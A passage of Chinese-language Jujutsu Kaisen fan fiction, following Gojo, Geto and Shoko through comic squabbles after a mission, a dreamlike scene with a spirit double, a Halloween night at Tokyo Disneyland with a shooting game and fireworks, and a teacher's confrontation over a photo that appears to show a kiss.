五条悟撂下一句,“你就说你来不来吧?”
伏黑甚尔哪哪都不舒坦,他很久没有被人这么牵着鼻子走了。
他憋了口气,“聘请我?咒术高专老师的工资恐怕不够。”
五条悟比了个数字,“十倍!剩下的老子出!”
伏黑甚尔呵呵一笑。
五条少爷挨揍卡吗——有意思。
24.绝招
黑夜沉沉,万事万物都可以在绝对的黑色下发酵酝酿。
深谙迟则生变道理的一行人离开医院后,马不停蹄地把天内理子和黑井美里从床上揪起来打包送往机场,直到目视着飞机彻底匿入夜空,三人才瘫软在机场的等候椅上。
“终于结束了,老子发誓再也不接这种任务了。”
五条悟有气无力地挂在椅子上,夏油杰闻言自然的劝慰:“能力越大责任越大,没办法,弱者需要强者守护。”
家入硝子撇嘴道:“我越发觉得你和五条是一类人了,都是走出去一张嘴就容易被人打死的类型。”
五条悟耳尖动了动,难得没有反驳他,只是不服气的说:“老子明明人见人爱花见花开,那——么多的小姐姐排队要老子的联系方式呢,硝子绝对是眼瞎了吧。”
夏油杰欢脱地附和:“医者不自医嘛,悟要包容一下啊!”
家入硝子额角跳了跳蹦出来一个井字,她跳起一个‘大’字,左脚一个屁股,右脚一个屁股。
“嗷呜——呜呜呜!”
天与咒缚刻意收力的一脚也不容小觑,五条悟裂成四瓣的屁股过了很久还有两瓣的痛意,此时受了一脚又裂了回去,变成了四瓣。
他发出开水烫活猪活猪都嚎不出来的分贝,声音悠悠扬扬地回荡在空旷的机场厅,把那些候机的人的目光全吵了过来。
揉屁股的夏油杰耳疾手快捂住他的嘴,尴尬的朝那些被吵醒的人点头示意地表示抱歉。
家入硝子登时后悔踹错了地方,一失足致使自己也站在了接收注目礼的中央。她尴尬的一手一个,揪住两人的领子往外拖。
两个一米八的男人,在她手头像两个装菜的黑麻袋。一个长条条地拖在后面,一个弓着背摇摇晃晃稳着身形。
*
走在路灯下的五条悟哼唧唧地揉着屁股,琢磨着伏黑甚尔入校的事。突然,他顿住,眼神诡异的看着自己的手,又把诡异的眼神投向高高挂起的夏油杰。
夏油杰被他看地打了个寒颤,怀疑自己即将受灾连忙道:
“……你这个可不是我搞得,要找请找罪魁祸首的麻烦。”
说罪魁祸首即可以祸水东引转移五条悟的注意力,又模棱两可的可以避免得罪家入硝子。夏油杰简直要为自己高超的语言艺术点个大大的赞。
谁料五条悟根本不是在纠结这个:“你刚刚用来捂老子嘴的手摸了屁股吧?”
双手插兜的夏油杰登时一个不稳,‘啪’的一下脸着地睡在了地上。走在前头吹烟圈的家入硝子停下脚步,看好戏的瞧过来。
五条悟根本不吃这一套,用脚尖轻轻踢了踢他的腰侧,“别装死,给老子起来。”
夏油杰一动不动,看似睡着其实已经去了一会了。
五条悟只能看见他颤动的丸子头,搁在平时他高低得手痒揪住,随时随地来一发——“男人,看着我!”的强制爱戏码。
此时的他则冷脸抱着胳膊,见人装死直接一个跨步,慢条斯理地坐在了黑发少年的后腰上。
“没什么想说的了?不起就这样忏悔吧。”
夏油杰的头藏在臂弯里,他供着背,眼珠疯狂转动,找着破局之法。
脑海里疯狂演绎着各种戏码,慌不择路的他直接选择了“道歉——熟练拌嘴——和好ending”的程序。
他侧过头讪讪笑道:“悟,对不起,我一时没注意就——”
五条悟冷着脸不为所动:“嬉皮笑脸,心意不诚。”
夏油杰瞳孔疯狂震动,完了、完了完了完了!
按照正常流程,此时不该是他气愤回嘴,自己拌回去,几个回合之后顺毛撸,然后愉快和好吗? !
一向嬉皮笑脸没个正型的悟脸臭成这个样子看来是气疯了啊!
怎么办怎么办怎么办! !谁来救救他! ! !
他艰难地咽了口口水,小声提议:“那、那你先起来,硝子在录像呢。”
五条悟打马一样随手拍了一下后面的屁股:“老子不在意。”
“……”
夏油杰抖了抖腰,跟个鹌鹑似的把头趴了回去。
可恶啊!这次的打是两人一起挨得,脸是一起丢的,自己也是为了文明捂的嘴,他怎么就沦落到囚犯的境遇了!
他又抖了抖腰,可恶!这家伙也太重的吧!腰好酸啊!
不、不对!不对不对!!!
要不是手臂是鹌鹑窝的原材料,他高低得给不分场合走神的自己两个大耳刮子。
现在的重点是怎么和好,达成happy ending!根本不是体重的问题!更不是自己腰酸不酸的问题!!
五条悟挑眉,他就看着他这么抖啊抖——抖啊抖,就是不敢看自己。
可惜六眼不具备穿透人体的功能。他偷偷笑了一下,悄咪咪贴近臂弯的空隙,夏油杰却猛地抬身。
“唔——”
鼻尖撞后脑,结结实实的两声闷哼。
“悟,你干什么!”
五条悟有一咪咪的心虚:“你管老子?搞清楚你现在的身份!”
家入硝子和自己的手机看够了好戏,此时慢悠悠的晃过来。
夏油杰目含希冀地看着,期期艾艾喊了声:“硝子~~”
真是迂回曲折,柔肠百转啊!
家入硝子抖了抖,把自己的鸡皮疙瘩拍下去,指着前方的建筑说:“你们在这慢慢闹吧,我先上去睡了。”
她转身走了几步,又细心妥帖地嘱咐:“五条,要和他好好聊,深入聊哦~”
路灯下又静了下来。夏油杰看着自己的影子欲哭无泪。要是现在是印度电影就好了,发生矛盾的时候跳一曲就能莫名其妙和好。真是这样的话,他高低要牵着五条悟的手,强迫他和自己跳一曲华尔兹。
夏油杰暗恨地磨了磨牙,所幸破罐子破摔,“你大吼大叫我才情急之下才捂的,也、也不能全怪我吧!”
说到最后,他声音低了下去,明显理亏气短。
“哈?!老子还没说老子痛的要死的时候你不顾及老子的感受就算了还捂老子的嘴呢!”
五条悟开始是装的,现在真的有点生气了。
“那你说要怎么办!你想怎么办,五条悟,你、想、怎、么、办!”
夏油杰急得眼睛都红了,他奋力挺腰把人掀飞,就要去闻他的屁股。
“碰过屁股的手怎么了!我的屁股也是香的!大不了我闻回来!我闻回来悟就可以原谅我了吧!”
五条悟:“? ? ? ? ? ? ?”
五条悟目瞪口呆,见夏油杰真的蹲下身来捉自己,他径直一个弹射飞起。但夏油杰已经揪住了他的裤腿,他又不可能不要外裤只穿着裤衩狂奔,所以……根本退不开啊!
五条悟疯狂躲避,和蹲在地上的夏油杰兜圈。
“等等!等等等等等等!还没到那个地步啊!别过来、别过来!我原谅你了,原谅你了!”
五条悟凄厉悲怆的惨叫响彻街道,漆黑的酒店中房间的灯陆陆续续亮起,所有住客都骂骂咧咧地想去找这个劈叉声是谁的。
夏油杰马上停住了,他不疾不徐地起身,优雅弹了弹身上的灰尘:“早这样不就好了。”
非要逼我使绝招,怕了吧~~~
五条悟惊恐的眼神顷刻间变得懵逼。
——总感觉自己被耍了是怎么回事啊?!
他往后蹿了数步,指着夏油杰鼻尖的手指都在颤抖:“你……你你你你你你——”
夏油杰牵住他的指尖径直走向酒店,不给他反应过来的时间:“再不走就要有人下来了。”
五条悟呆呆跟着他,怀疑人生怀疑的灵魂都要出窍了。
*
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五条悟坐在床上越想越不对劲,他猛的挣开夏油杰给他擦发的毛巾回头瞪圆了眼睛,以表现自己怒不可遏你给我等着这事没完的态度。
某些事过了时候就不适合追究了——这条铁定对五条悟来说完全不适用。
但,某些事过了时候就完全不会心虚了——这个至理完美符合夏油杰的心态。
两天没睡一个好觉的他完全没力气内耗,也没力气去管愤怒小猫了。此刻他只想把猫捉回来烘干,然后上床美美大睡一觉。
他伸手一捉,将人扭回去。毛巾覆在白毛上面就是一顿狂揉猛搓,觉得差不多了就一丢一躺。
“悟,关一下灯。”
黑发少年软软倒在枕头上,杂着温软鼻音的声音响起。
五条悟还保持着缩着脖子任他揉搓□□的状态,夏油杰却已经进入了下一个环节。
过了一会,明亮的橙光依旧刺目晃眼,迷迷糊糊的人抬脚懒懒一踹。
“快去,明天带你去好地方玩。”
六眼超负荷的运转,灵魂深处的疲惫无法消弥,洗完热水澡放松下来后,一向精力充沛的五条悟也疲懒得提不起劲了。
白发少年咬牙切齿地盯着衣服上湿漉漉的脚印,无可奈何地一拳砸向开关。
明天再找你算账!
*
往日的倒影,时空的罅隙之地。万事万物在这里凝固,时间也变成一个模模糊糊没有定义的概念。
所幸这里的生灵早就习惯了一切,它叼着一枚用咒力化成的果子,啃一口估摸一下外界流逝的时间。
“自己吃自己,你可真有闲情逸致”
温和疲惫的男声打破沉寂。
叼着果子的少年抬头,赫然是夏油杰的模样!
这个‘夏油杰’听到声音后眼睛亮起,“比不上你,这么虚弱还要坚持去见他一面。”
“这次苏醒的比上次预计慢了两天,但比预计提早一天,是件好事。”
“毕竟在亏损,你把事情告诉他了?”
“一部分,”少年点头,“只是我没有想到他接受的这么快,还以为至少会痛苦沉寂一段时间。只能说不愧是你吗,对于自我献祭的戏码永远百演不厌。”
“哼——!”
静止的空间荡出波纹,夏油教祖像一潭泛起涟漪的湖水,阖眸现身。
全然灵体的状态,诡异的是灵体上百孔千疮,远远看去恍若一件上世纪的褴褛布衣,勉勉强强还能作为某种遗迹陈列,从而留存下来。
更令人惊奇的是心口,只有那处的镂空影影绰绰地打了个透明的补丁,似是某人随手施为留下的败笔。
夏油教祖笑眯眯道:“变成别人的样子四处招摇撞骗,恐怕——不大好吧?”
听着百转千回的语调,没有肉身的‘夏油杰’却抖了抖,“真、小、气,都是有契约在身的了,用一用怎么了嘛。”
他鼓着脸盯着大版的他,在对方阴冷的目光下渐渐低头叹了口气,身形慢慢崩解,幻化成夏油杰梦中手足留有钉印的模样。
“你这个样子还蛮吓人的,怎么不把自己补一补再出来?”
夏油教祖不在意道:“很消耗力量,你要是觉得吓人就用你的来补。”
少年抱住自己嘟囔道:“见他的时候怎么不见你在乎消耗。”
教祖睨了他一眼,意味不言而喻——你是什么东西,也配跟他比?
少年哽了一下:“修补过的地方会有裂纹,肢体也会变成没有生命力的黑色。五条悟那么敏锐的人,没发现还真是个奇迹。”
“毕竟是‘夏油杰’的梦境,借用梦境屏蔽掉他的部分感知还是很容易的。”
少年挑了挑眉,他的视线在夏·破烂·麻袋·教祖上扫了扫,“那接下来撕哪一块?”
夏油教祖看了看自己身上的部分,“既然遇到了……把左脚撕给他吧。”
25.万圣节特别夜场(二合一,含补更)
睁眼,昏天黑地,过长时间的睡眠让人头痛欲裂又昏沉发闷。五条悟抱着被子恍惚坐起,耳边只有淅淅沥沥的雨声和夏油杰清浅的呼吸。
六眼在暗沉的环境下微微亮光,他看了一会规规矩矩侧睡着的黑发少年,慢吞吞地挪开搭在对方身上的腿,换了个姿势躺回去,决定和他好好再睡一觉。
“唔——”
被箍紧的夏油杰急急喘了几口气,挣扎着掀开沉重的眼皮,撑着手臂起身。
下午,五点二十八分。
他深深蓄了口气,低眸注视着缩在自己脖子里的人,音色温柔又带着点困倦的沙哑,“悟,起床了。”
入住的第一天,另一个枕头就在玩闹时被五条悟撕烂了。这么多天,高他一截的人愣是团吧团吧,窝在他的颈窝和肩臂里,也不记得问服务人员重新要一个。
五条悟哼哼唧唧地埋了埋,夏油杰深深叹了口气,捋下他抓紧的手下床。
被酒店洗好烘干的衣服已经送到门口,夏油杰洗漱完,把衣服挂到衣柜的把手上,用自己带的微型熨斗烫好。
他换好衣服,将五条悟的仔细叠到床头,犹豫了一下,又把衣服摊开挂回把手,这才放心出门。
回来的时候,五条悟已经换好了衣服,坐在床边打哈切,见他回来自动刷新到桌边:“带什么好吃的回来了?”
“什么都带了点,刷的你的卡哟。”夏油杰将蛋糕摆在远端,往他手里塞了一个红豆派,“快吃快吃,待会去赶车。”
“赶车?这么急着回校干嘛?”进来的硝子叼着菠萝包含糊道,“早餐,谢了。”
夏油杰神秘一笑,从身后掏出一把‘纸扇’,指尖弹了一下扇面,“东京迪士尼,万圣节特别夜场。
“你居然搞到了!”那语气,仿佛夏油杰拿出的不是几张门票,而是奉上了稀有标本。
“理子给我的,可惜石田先生有事,还多出了一张票。”
五条悟把蛋糕扒过来:“先说好,不带小海胆去,老子不想带小孩。”
这个念头早被他自己扼杀了,夏油杰无奈道:“知道了,带你事就够多了。”
五条悟眯起眼睛盯过去,眼刀噗簌噗簌发射。夏油杰淡定拿起勺子,把剩下的半个蛋糕大口大口快快地塞进他的嘴里。
转移五条悟注意力的最好方式就是不要让他反应过来,这招真的亲测好用。
*
巨大的深色丝绒幕布垂落天穹,幕布之下,东京迪士尼的万圣节乐园彻底燃烧起来。
尖锐欢快的电子音乐、混杂沸腾的尖叫欢笑、巡游花车上震耳欲聋的音响,汇合成一股股近乎实质的洪流,疯狂冲击耳膜。
无数盏彩灯争奇斗艳,将南瓜灯的橘黄、幽灵的惨白、还有米奇耳朵的亮红泼洒在攒动的人头上。
没见过世面的乡下少爷“哇——”出声来,下意识去摘墨镜。
“别摘。”夏油杰握住他的手臂,他的声音不高,却穿透了嘈杂的背景音,清晰送进五条悟耳中,“这里人多,‘信息’太杂了。”
夏油杰眸光微动,微微懊恼。拿到票的瞬间,他的第一反应是机会难,第二反应是悟和硝子会感兴趣,却遗漏了五条悟在嘈杂混乱的环境下可能不适。
其实夏油杰深刻明白五条悟是强者,还是个与他不相上下的顶尖强者的事实,但照顾这种天性早就刻在他骨子上,融进他血脉里。
他依旧理直气壮的揣摩,斩钉截铁的贯穿着‘悟也需要需要照顾’这个想法。
固执着傲慢着,温柔的爱怜的,一如既往。
五条悟歪头,垂下了搭在墨镜上的手,任他拉住自己。
“喂,五条,别挡路!”家入硝子已经像一尾灵活的游鱼,轻巧融入了前方涌动的人潮。她回头喊了一嗓子,声音在喧闹中有些模糊,那份催促的意味却清晰无比。
夏油杰适时松开手,侧身一步,巧妙挡开了侧面举着棉花糖横冲直撞的小男孩。
目光扫过周围那些戴着发光头箍、画着夸张鬼脸、兴奋奔跑的游客,提议道,“先去那边转转?那里有射击游戏。”
他指着一个方向,那里悬挂着巨大的彩色招牌,上面画着夸张的卡通靶子和诱人的毛绒奖品,偶尔传来“砰砰”的□□声和兴奋的欢呼声。
家入硝子举着冰淇淋回来,率先朝那里走去。五条悟一步一趋跟着夏油杰,每一步都精准踩在他为他隔开的那一小块相对“清净”的空间里。
射击摊前捱三顶五摩肩擦踵,一排□□放在桌上,被一条条彩色的荧光绳固定连接。几米开外是造型夸张飞速移动的标靶,隔壁奖品架顶端,一只穿着小号南瓜裤、表情呆滞的白色长耳兔占据C位。
五条悟的目光,瞬间锁定了那只兔子。
“杰,”他嘴角勾起一个张扬的弧度,手指随意地点了点那只兔子,“那个丑东西,归老子了。”
几乎是决斗邀请。夏油杰却一反常态地眸光一闪,唇角翘起,“那就你先来吧。”
他对老板说,“先来三十发吧,”又指着五条悟道,“他付钱。”
五条悟哼笑一声,也没有问收费标准,从钱包里抽出几张纸钞直接拍到台面上。
他拿起一支做工粗糙的塑料□□,动作带着一种漫不经心的优雅,扣着扳机举起的姿势大气潇洒。
没有瞄准,没有去看靶心。他就这么单手插兜嚣张直视着夏油杰,挑衅地勾起唇角。
六眼视野里,世界被瞬间解析——塑料□□弹簧的微小形变、气流的细微扰动、移动靶的速度走向……无数隐形的参数如瀑流在他脑中冲刷而过。
砰!砰!砰!……砰!砰!
十声干净利落的脆响,间隔均匀得如同节拍器。
这种游戏,谁能玩得过拥有六眼的老……子?!
意料之中的玩偶没得到,夏油杰的爆笑声倒是不期而来。
五条悟:“……哈?!”
在他提议之时,夏油杰只是贼贼一笑。直到看到五条悟单手插兜,盯着自己,一副“老子屌爆天”的模样……天知道夏油杰用了多大力气去掐大腿才没让自己笑出来!
他笑着一屁股怼开僵站在那里,宛若老板摆来拉客的塑料模特的白发少年。未置一词,只是“啧啧啧”个不停。
将调好的□□递给家入硝子,家入硝子对头奖没有执念,倒是见了史努比挂坠走不动道了。
特等奖连续击中十发,一等奖八法,二等奖六发,三等奖四发,还有安慰奖,只要打中了就有。
虽然使用的是移动靶,且靶与靶在飞速移动之时互有遮掩,但对比起其他同类的游戏,所设置的获奖条件依旧太宽松了些。
所以这当然不是传统的射击游戏,而是用来整花活的娱乐向游戏。
游戏的巧思在于,那个靶子——当选手站定老板开始按按钮——它不仅加速度时有变化,重点是!它移着移着突然跳起来也就罢了,关键它还会呼啦呼啦的转啊!
难怪获奖门槛低价钱也不高,难怪这么多人围观却什么人玩,谁愿意花钱出丑提供笑料?
这比的哪里是打靶!比的明明是选手和老板谁更鸡贼啊!
老子就知道,耍帅的机会怪刘海怎么可能会这么爽快地让出去!
五条悟面目狰狞地揪住了夏油杰的袖口,扑上去就要咬他。
老子失去的,要一并夺回!
夏油杰花容失色,急得又甩又拽。两人组合起的大摆锤与热闹的园区匹配正确,完美落地。
忽然,全场喝彩连连。
衣袖在五条悟的大力拉扯下嘶嘶作响,夏油杰的半个肩膀露出来,“悟、悟!看那边看那边!悟——!”
“这一招对老子没用!”
撕——拉——
凄惨到走调的嚎音、惊恐呆滞的夏油杰和攥着袖子一屁股怼到地上的五条悟一脸空白,面面相觑。
……
家入硝子用咒力强化,顺利打中了四靶。老板打扮的像《寻梦环游记》中的德拉科,高声宣布胜者,接着反手抽出一把电吉他,围着获奖的女士旋转歌唱:
“The touch of your hand says you''ll catch me wherever I fall~”
“You say it best when you say nothing at all~~”
“All day long I can hear people talking out loud~~~”
“But when you hold me near, you drown out the crowd~~~”
歌声悠扬婉转,人群欢快沸腾。世界围聚成模糊涌动的背景,夏油杰站在原地摇摇欲坠,眼里只能看到自己在灯光下忽明忽暗的左手臂。
五条悟飞快起身,若无其事地拍灰,跟着吉他嘀嘀哼唱了几句不成型的调子,左顾右盼间不经意将手里的袖子往身后抛。
他夸张的撑开眼睛:“哇——!好帅,独臂大侠!”
“把墨镜放下。”夏油杰冷笑着,两只拳头抵到一起试硬度,“我只看到个非主流和尚。”
“别这么想,大不了昨天和……”
围观群众尖叫呼喊,五条悟耳尖一颤,猝然止声望去。
“太厉害了吧!这还是今天第一个得奖的人!”
“连续四枪中靶,还有一枪是击中的旋转靶,好厉害!”
“比耍帅那个强多了,那架势,我还以为是个高手呢!”
“就是就是,最讨厌没本事还爱装的人了,好油腻啊!”
“哈哈哈哈!我眼疾手快拍了,这个视频将承包我一整年的笑点。”
五条悟深深倒吸一口气,撸起袖子子:“*~&@:=^#@*%#*`* $ %&_..%#(J)!”
“悟悟悟,咱别冲动啊!”夏油杰挥出的拳秒变拉人的爪,他抵住地板,死死拽住鼻喷白气气势汹汹的五条悟。
“老子要自证清白!”
五条悟大吼着,就这么拖着夏油杰夺过硝子手里的枪。他挥枪,枪口对准老板。
老板挑眉,遥控器弹到天上,被他旋身接住。
他用背影看五条悟。
斗牛悟呀呀切齿:“挑衅,赤裸裸的挑衅啊!”
“你别喷气了,鼻涕要喷出来了。”
左胳膊离得近,夏油杰害怕五条悟用这只擦。
回应是五条悟把他撅飞的屁股。
夏油杰:“……”
还有十发,五条悟面上羞恼,心如止水。
墨镜后的六眼莹莹亮光,整个人如一把势不可挡的锋刃,在游弋的灯光下恍若折射寒光。
老板全神贯注,没有去看每一发的结果,遥控器点出残影,恨不得一只胳膊长十只手。
僵持的局势,不规律的枪声,方寸不乱的少年,夏油杰不由自主被牵动心神。
二、三…五、六…七…九——
家入硝子戳他,提醒道:“现在可以呼吸。”
夏油杰目不转睛,胳膊怼了怼,十!中了!
平地惊雷!安静的摊位前骤然爆发尖呼叫好,惊涛骇浪般席卷!
五条悟将还在冒烟的塑料枪丢回台面,发出“哐当”一声轻响。他下巴微扬,视线直指那只南瓜裤兔子,意思再明显不过:拿来。
老板浮夸的张大嘴巴,他晃动食指,摸出吉他,欢快舞蹈。
“The smile on your face lets me know that you need me~~~”
“There''s a truth in your eyes sayin'' you''ll never leave me~~~”
“The touch of your hand says you''ll catch me if ever I fall~~~”
“You say it best when you say nothing at all~~~”
他指着五条悟,又指了指摊位中心,兴奋招手。
“老子才不要跳舞。”
老板伤心欲绝,他一把鼻涕一把泪哽咽着唱完这曲,而后踩着凳子,把那个和他等身的巨大兔子玩偶摘下来,哀怨地递向五条悟。
五条悟嫌弃地瞥了一眼兔子身上沾染的仓库灰尘,侧过头,朝夏油杰抬了抬下巴,语气理所当然:“杰,拿着。”
看着几乎能把半个自己埋进去的巨型兔子,夏油杰嘴角抽动了一下。他无奈地叹了口气,认命伸出手,从一脸懵逼的摊主手中接过了这个沉甸甸、毛茸茸的战利品。
巨大的兔子几乎遮挡了他小半个视野,柔软的绒毛蹭着他的脸颊,带着一股新玩具特有的、混合着纤维和染料的气味。
家入硝子绕着夏油杰和他怀里的巨兔转了半圈,点评道:“嗯……意外的适合你嘛,夏油。抱着玩偶的裸臂肌肉男?”
“硝子。”夏油杰的声音从兔子后面闷闷地传来,带着一丝警告的意味。
五条悟双手插回裤兜,嘴角得意地翘着。他无视了周围惊叹的视线和夏油杰的窘境,目光已经投向了下一个闪烁着诱人光芒的摊位。
*
“幽灵公馆”的铁门在
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身后关上,人声和光影如风扑面。
家入硝子满足地舒了口气:“补充能量时间!”她快步走向一个散发着甜香热气的摊位。
三人组占据了一张露天小圆桌,桌上堆满了战利品。
家入硝子拍开男生们迫不及待伸出的爪子,咔咔几张美照后才拿起烤串。夏油杰如释重负,将巨兔放在一旁的空椅上,捧起热腾腾的牛肉包。五条悟面前插着晶莹剔透的巨无霸苹果糖。他左看看右看看,张嘴咬掉半个。
嚼吧嚼吧,他含糊地说:“要逛的都逛完了,我们什么时候回去啊?”
巨量的信息躁动沸腾,五条悟有点烦躁了。
夏油杰咽下牛肉包,目光扫过周围。
夜色已深,气氛愈加热烈。
一个扮吸血鬼的少年跑过,手上牵着他的幽灵公主。几个丧尸围着唐老鸭、玲娜贝儿、草莓熊兴奋合影。
他犹豫了一下,刚开口:“那……”
乐园广播响起柔和的音乐,甜美的人声播报,“各位亲爱的游客,今晚的‘万圣节魅影’城堡烟花秀,将于十分钟后在奇幻童话城堡前盛大上演……”
“烟花!”沉默的硝子突然眼睛一亮,迅速解决烤串,“快走快走!找个好位置!”
夏油杰闭嘴,拎起巨兔,“先看完烟花吧。走了,悟。”
“烟花有什么好看的,你们要看改天去五条家,老子让人放一个月。”
五条悟摁住额角,嘟囔了句站起身,捏着竹签慢吞吞跟上。
城堡广场人山人海。人们仰着头,无数手机屏幕亮起。空气里是爆米花的甜香和人群的燥热。
五条悟站在夏油杰旁边微微皱眉,空气中各种气味混杂——汗水、香水、食物、还有……太多人了。
他不动声色的与黑发少年靠的更近些。
看着一旁举起手机,眼底亮光的硝子,两人默契地忽视掉可以使用咒灵升空的事。
夏油杰直视前方的城堡,突然将兔子递给他,“悟帮我拿一下。”
五条悟看了一会,最终,他极其缓慢地、嫌弃地伸手掐住兔子的耳朵根,把它从夏油杰手里“拎”了过来。
巨大的兔子歪扭挂在他手上,与他黑衣酷哥的形象形成极端滑稽对比,但白毛和白毛挨到了一起,某种程度上也称得上画面和谐。
特别是带着墨镜的五条悟,白毛黑眼的配色,透出几分神似来。
家入硝子转头刚好看到,眉眼瞬间弯起,毫不客气嗤笑一声。
五条悟立刻瞪了她一眼,另一只空着的手把捏着的苹果糖举到嘴边,泄愤似的,狠狠咬了一口。
“咔嚓!”
他嚼着冰凉的苹果肉和甜蜜的糖衣碎片。夏油杰挪了两步蹭到他身后,微热的指尖轻轻摁在他的太阳穴。
命脉被掌控,战斗本能疯狂叫嚣着。五条悟咀嚼的动作停了一秒,而后坦然举起提着巨兔的手,将它抱了满怀。
“十、九……”
人们开始集体倒计时。
“悟,”夏油杰忽然开口,声色清浅,朗朗入耳。
“你今天开心吗?”
力度适中按了一会,他转而鼓起掌心,盖住了他的耳朵。
五条悟的呼吸微不可察停顿了一瞬。身后少年干净清晰的皂角香涌入鼻腔,墨镜遮挡住他闪烁的眸光。
他沉默着,目光定格在那些在华丽灯光下、最平凡普通、却笑得最没心没肺的普通人身上。
他以为,夏油杰是来实地教学,带他俯身融入人间的。
夏油杰只能看到他线条优美的侧脸和明亮光华的眸子。
就在这时——
砰!
第一束烟花撕裂夜幕,在城堡尖顶轰然炸开!金光四射,璀璨夺目的烟火骤然将夜空点亮,照亮无数张仰望的面庞。
紧接着,第二束,第三束……无数光朵争相怒放。
五光十色、万紫千红。巨大的光球逆着地心引力、拖着彗星尾迹,在震耳欲聋的轰鸣声中升腾、绽裂、坠落。
光芒如雨,将城堡、人群、尘埃都染上尘世的色泽。
巨大的声浪和炫目的光影如同瀑水席卷。夏油杰眯了下眼,身旁的家入硝子举着手机,屏幕光映亮她兴奋的侧脸。
五条悟抱着兔子站着,下巴抵到兔子翘起的耳朵上,墨镜镜片上倒映着热烈到绝望的光花。
无数色彩爆炸、流淌。过于敏锐的感官忠实捕捉每一道强光和巨响。这些“噪音”是如此暴烈,如此不容忽视地侵占了他所有的感知。
五条悟的脸迎着光,被烟火圈揽到它的领地。有一刻,他恍觉似乎自身也属于人间。
一瞬间是有意义的,相遇别离是有意义的。烟花转瞬即逝凋谢在他的眼里,那么他呢,他的一生要拜托谁来让他欢愉、不孤?
五条悟一向不屑于思考这些伤春悲秋,除了自我苦恼外再无二用的命题,但在不由自主走神的这一刻,他知道,若有谁他想托付,若有谁值得期许,若有谁能坦然回应,给出肯定回答……那个人必定是夏油杰了。
夏油杰不叫他俯身,夏油杰教他侧耳。
夏油杰问他,你感到快乐吗?
绚烂光影明灭跳动。五条悟微微仰着头,姿态依旧疏离。
隔着墨镜,视线从夜空收回,落在怀里的、穿着可笑南瓜裤的白色毛绒巨兔上。
兔子呆滞的黑眼睛反射着微光,他盯着看了两秒钟,摇头晃开夏油杰的手。
“杰。”他将巨兔不由分说塞进方夏油杰手里,“拿着,手酸了。”
夏油杰无奈的哼笑,接过呆萌几经转手的南瓜兔。五条悟错他半步,懒懒后仰,倚靠着他。
夜空中,又一簇巨大的银白烟花炸开,千万颗流星坠落,将城堡映照得剔透。
光芒也照亮了五条悟的侧脸,他的墨镜边缘,以及唇边沾着的一点亮晶晶的红色糖屑。
“老子以后年年要来看烟花!”
他突然大声宣布。
“好。”
“怪刘海要陪老子来,还有硝子,一个都不准少!”
“好——”
烟花燃烧后的硝烟味、爆米花甜香、还有身边人制服上淡淡的洗涤剂味道涌入鼻腔。
五条悟觉得落地,感到幸福。
不是快乐,是幸福。
“你们两个,过来拍照了!”家入硝子占据了一个绝佳的位置,跳着冲两人招手。
“来了,硝子!”
“来啦——!”
三人组凑到一起吵吵嚷嚷。
“兔子怎么办?”
“你抱着呗。”
“抱着有点挡脸。”
“那这样……”
26.你们谈恋爱的话……
全世界的学生都讨厌早八,这绝对是一条举世公认的真理。
尤其对熬夜的学生,它更是当前的大敌,临头的大难。
连夜回校的三人组坐在教室拿出了睡在天国的架势,奇招百出到令人震撼。
家入选手架起临床医学,封面朝内,抵着不受控制一点一点的头;夏油选手拇指食指撑着上下眼皮,以此为支点假装自己还在听课;五条选手演都不演,手一摊头一摆睡了个人仰马翻。
夜蛾正道站在讲台上本来闭一只眼的,见此睁着的眼睛恨不得也给闭上。
他卷起家入硝子的“头架”,扬手敲在夏油杰的背上,又一个转身将五条悟从座位上踹了下去。
砰——砰——砰——
匀称的三声。
家入硝子嘟囔地治疗自己的大包,夏油杰龇牙咧嘴地安抚着被厚重的医学知识照顾的臂膀,只有五条悟,从座位上滑下去后迷瞪瞪坐起,砸吧了两下嘴,又躺回地上四仰八叉的继续睡。
瞅着班主任愈来愈黑的脸,夏油杰干忙扑在地上将挚友捞回座位,抓住两边的白发用力将人摇醒。
见夏油杰这幅火急火燎的小媳妇样,夜蛾正道的牙直勾勾的酸疼,刚刚闭上的眼睛此刻恨不得直接瞎掉。
五条悟被揪的嗷嗷叫唤,望着夜蛾正道不满的说:“夜蛾老师,你印堂发黑恐有血光之灾啊。”
回应他的是无敌大铁拳和无敌大肿包。
五条悟扑到挚友怀里,全身被蚊虫叮咬般滚来滚去,哭戚戚地卖惨。
“杰~老子想方设法想让夜蛾心态变年轻,和我们更有共同话题,他竟然不领情!”
夏油杰顺毛,“悟,你和夜蛾老师隔了好几个代沟呢,他应该没有这个机会get到你的好意。”
“五!条!悟!夏!油!杰!”
夜蛾正道本就心头挂事,见此,他牙一咬,心一横,翻出了一张照片。
夜色忧郁,月色温柔。两个丰神俊秀的少年额头相抵,捧脸拥吻,含情脉脉的半阖着眸子。
黑发少年身体歪斜、眼尾飞红。原本就狭长含情的狐狸眼更加水润,眼波盈盈,虔诚地注视自己的神子。白发少年纯真炙热,捧着雪颊,直率坦荡的将真心同唇瓣一并捧出奉上。
“你们怎么给我解释?!”
夜蛾正道当真气的七魄去了四魄,剩余的三魄,两魄跪在夏油家,一魄在五条家受鞭笞。
至于三魂,在看到照片狂按人中的第一天,就随着枸杞茶变菊花茶消散在人世间了。
他万万没想到,作为一个高专的光荣教师,要关心学生的精神世界也就罢辽,还要督察学生的恋爱生活!
现在让他拿什么当胆,告诉五条家,你们心心念念的少主喜欢男生,五条家的嫡系就要绝后了?
夏油杰顿时石化,龟裂。他的太阳穴疯狂鼓动,灵魂瞬间升华。怀里打滚的少年登时成了烫手,不!烫胸的铁块,揽着对方的手搭也不是放也不是。
五条悟撅着个屁股,满脸无所谓趴在夏油杰怀里,浑身上下散发着“老子天下第一”“那咋了”的嚣张气焰。
他不满的嚷道,“夜蛾的兴趣越发变态了。现在不扎娃娃,改成收集别人的吻照了。”
夏油杰霎时大惊失色,“等等,悟!”他又急忙转头看向老师,“不是这样的夜蛾老师……”
夜蛾正道抬手,示意他打住。他摁住太阳穴,“我知道了,在恋爱方面我确实没有管的资格。但我要提醒你们……”
“不,不是,这是角度问题啊!我们没有亲!没有亲!”
夏油杰绝望咆哮!
夜蛾正道神情恍惚,自顾自的说:“别隐瞒了,杰。你放心,高专不会有人歧视性向的。”
他顿了顿,还是不放心艰难嘱咐,“你们还小,谈恋爱一定要注意分寸。有些事不能做,做了的话……也一定记得别冲动,做好防护措施。”
“不,我们什么都不会做的——!”
夏油杰崩溃大吼!
“如果你们结婚,五条家反对——”
“我们怎么可能结婚啊,老师你在想什么!”
夏油杰抓耳挠腮!
“你可以当个高专老师,到时候和悟可以住在学校里。如果五条家发现,甩给你十个亿让你离开悟——”
